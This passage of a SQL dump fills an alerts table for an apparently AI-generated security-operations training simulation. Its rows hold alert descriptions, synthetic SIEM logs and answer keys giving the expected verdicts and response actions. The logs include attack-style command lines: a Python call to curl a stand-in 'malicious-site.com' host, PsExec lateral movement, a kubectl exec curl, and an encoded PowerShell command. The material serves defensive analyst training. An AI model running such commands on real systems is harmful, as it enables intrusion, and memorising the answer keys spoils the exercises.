1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1403, 'Kubernetes Pod Abnormal Activity Detected', 'high', 'Prisma Cloud', 'Unusual network traffic patterns detected from a Kubernetes pod, which may indicate a compromised container or unauthorized access attempt.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T13:30:29Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.50\",\"dst_ip\":\"10.0.2.50\",\"username\":\"kube-user\",\"hostname\":\"kube-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec pod-name -- curl http://10.0.2.50\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec pod-name -- curl http://10.0.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious network activity from a Kubernetes pod may indicate an attempt to move laterally within the network.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.941Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:30:29Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.50\\\",\\\"dst_ip\\\":\\\"10.0.2.50\\\",\\\"username\\\":\\\"kube-user\\\",\\\"hostname\\\":\\\"kube-cluster\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"kubectl exec pod-name -- curl http://10.0.2.50\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1404, 'False Positive: Suspicious Domain Accessed', 'low', 'Wiz', 'A domain flagged as suspicious was accessed, but further investigation shows it is used for legitimate purposes.', 'Web', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:15:42Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.5.35\",\"dst_ip\":\"198.51.100.100\",\"username\":\"alice.wonder\",\"hostname\":\"healthcare-partner.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"healthcare-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain for healthcare communications\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The domain was flagged as suspicious incorrectly, as it is used for legitimate business purposes.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.942Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:15:42Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.5.35\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"alice.wonder\\\",\\\"hostname\\\":\\\"healthcare-partner.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1405, 'False Positive: High Volume of Medical Record Access', 'medium', 'AWS GuardDuty', 'An employee accessed a high volume of medical records which initially appeared suspicious but was verified as part of routine duties.', 'Data Access', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T15:40:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.6.45\",\"dst_ip\":\"10.0.3.15\",\"username\":\"dr.jones\",\"hostname\":\"ehr-system\",\"request_body\":\"\",\"command_line\":\"python retrieve_records.py --batch 100\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python retrieve_records.py --batch 100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Routine script for batch processing of medical records\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_access\",\"analysis_notes\":\"The activity was part of scheduled data processing and does not indicate malicious intent.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.943Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:40:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.45\\\",\\\"dst_ip\\\":\\\"10.0.3.15\\\",\\\"username\\\":\\\"dr.jones\\\",\\\"hostname\\\":\\\"ehr-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python retrieve_records.py --batch 100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1406, 'False Positive: Unusual SSH Login Pattern', 'medium', 'Azure Defender', 'An unusual SSH login pattern was detected, but further investigation confirmed it was due to a scheduled maintenance task.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:22:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.7.55\",\"dst_ip\":\"10.0.4.25\",\"username\":\"maintainer\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"ssh maintainer@10.0.4.25\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.7.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ssh maintainer@10.0.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled maintenance task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The SSH login was due to scheduled maintenance, not unauthorized access.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:22:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.7.55\\\",\\\"dst_ip\\\":\\\"10.0.4.25\\\",\\\"username\\\":\\\"maintainer\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"ssh maintainer@10.0.4.25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1407, 'APT41 Lateral Movement Detected via PsExec', 'critical', 'KAPE', 'Lateral movement detected using PsExec from an internal IP to multiple hosts. This activity correlates with known APT41 techniques.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T03:15:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"192.168.1.107\",\"username\":\"finance_admin\",\"hostname\":\"finance-server02\",\"command_line\":\"PsExec.exe \\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec usage is commonly associated with lateral movement attacks\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity matches APT41\'s known lateral movement using PsExec. Immediate action required to isolate affected systems.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.947Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T03:15:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"192.168.1.107\\\",\\\"username\\\":\\\"finance_admin\\\",\\\"hostname\\\":\\\"finance-server02\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.1.107 -u finance_admin -p ***** cmd /c dir\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1408, 'Suspicious PowerShell Activity with Encoded Commands', 'high', 'Velociraptor', 'An encoded PowerShell command was executed, potentially indicating a fileless malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T05:47:35Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.110\",\"username\":\"john.doe\",\"hostname\":\"workstation-jdoe\",\"command_line\":\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.110\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with suspicious PowerShell execution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are a common tactic for fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell execution is indicative of a potential fileless malware attack, requiring immediate isolation and further forensic analysis.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc 